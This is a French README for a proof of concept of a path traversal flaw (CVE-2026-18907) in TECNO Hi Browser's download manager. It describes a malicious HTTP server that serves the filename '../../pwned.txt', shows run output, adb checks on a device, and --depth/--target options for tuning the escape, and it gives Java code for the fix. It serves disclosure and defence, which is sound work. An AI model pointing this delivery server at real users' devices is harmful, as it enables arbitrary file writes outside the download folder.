
PoC Python pour le path traversal CVE-2026-18907 dans le gestionnaire de téléchargement du navigateur TECNO Hi Browser. Inclut un serveur HTTP malveillant et un téléchargeur naïf pour démontrer le correctif.
Preuve de concept pour CVE-2026-18907 (CVSS 7.5 High, CWE-23), une vulnérabilité de traversée de chemin relative dans la fonction de téléchargement de fichiers de TECNO Hi Browser (com.talpa.hibrowser) version 2.23.1.1. Le navigateur se fiait à un nom de fichier Content-Disposition contrôlé par l'attaquant et le concaténait au répertoire de téléchargement sans assainir les séparateurs de chemin ni vérifier le chemin canonique du résultat — de sorte que les séquences ../ dans le nom de fichier permettaient d'écrire le corps de la réponse en dehors de Download/, vers tout chemin que les permissions de stockage du navigateur autorisent.
Cette preuve de concept n'inclut pas l'APK propriétaire
com.talpa.hibrowser. Elle démontre (a) la livraison HTTP malveillante exacte et (b) la classe de cause racine du bogue (un téléchargeur qui fait confiance à un nom de fichier de réponse comme composant de chemin). La même primitive est ce que décrit CVE-2026-18907.
| Fichier | Rôle |
|---|---|
evil_server.py | Le serveur HTTP malveillant. Il sert une réponse dont le nom de fichier contient . C'est la . |
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
La concaténation vulnérable a produit /tmp/demo/Download/../../pwned.txt ; l'OS a résolu les .. et le fichier s'est matérialisé dans /tmp/pwned.txt — en dehors du répertoire de téléchargement. Le chemin corrigé a d'abord appliqué os.path.basename() (le ../ est une information de chemin et est ignoré, laissant pwned.txt), puis a vérifié que le chemin canonique restait dans le répertoire de téléchargement.
Démarrez evil_server.py sur un hôte accessible depuis l'appareil de test, puis naviguez avec un navigateur vulnérable vers http://<host>:8000/. Sur un navigateur qui lance automatiquement les téléchargements attachment et n'assainit pas le nom de fichier, le fichier est écrit dans un chemin résolu par la chaîne ../. Vérifiez l'échec du confinement avec adb :
$ adb shell ls -la /sdcard/Download/ # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # escaped the download directory
Ajustez la profondeur de remontée selon l'appareil avec --depth (par défaut 2 remonte de /sdcard/Download/ vers /sdcard/ ; augmentez-la pour remonter plus haut), et le nom de base final avec --target.
Pour tout gestionnaire de téléchargement, toute la classe CWE-23 se réduit à deux habitudes appliquées ensemble :
/ inclus.File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
Ne blacklistez pas ../ — l'ensemble des encodages équivalents à une traversée est ouvert. Canonicalisez, puis comparez. Cet algorithme, lui, est fermé.
Exécutez le serveur uniquement sur un réseau que vous contrôlez et testez uniquement sur un appareil qui vous appartient. Une écriture par traversée de chemin est, par définition, une primitive d'écriture de fichier — ne la pointez sur rien que vous n'êtes pas prêt à écraser.
MIT — voir l'article d'accompagnement pour l'attribution complète et les sources primaires.
Content-Disposition../naive_downloader.py | Un téléchargeur minimal qui reproduit le motif vulnérable join(dir, filename), accompagné de la version corrigée (basename + contrôle de confinement canonique), afin que vous puissiez observer l'échappement en une seule exécution. |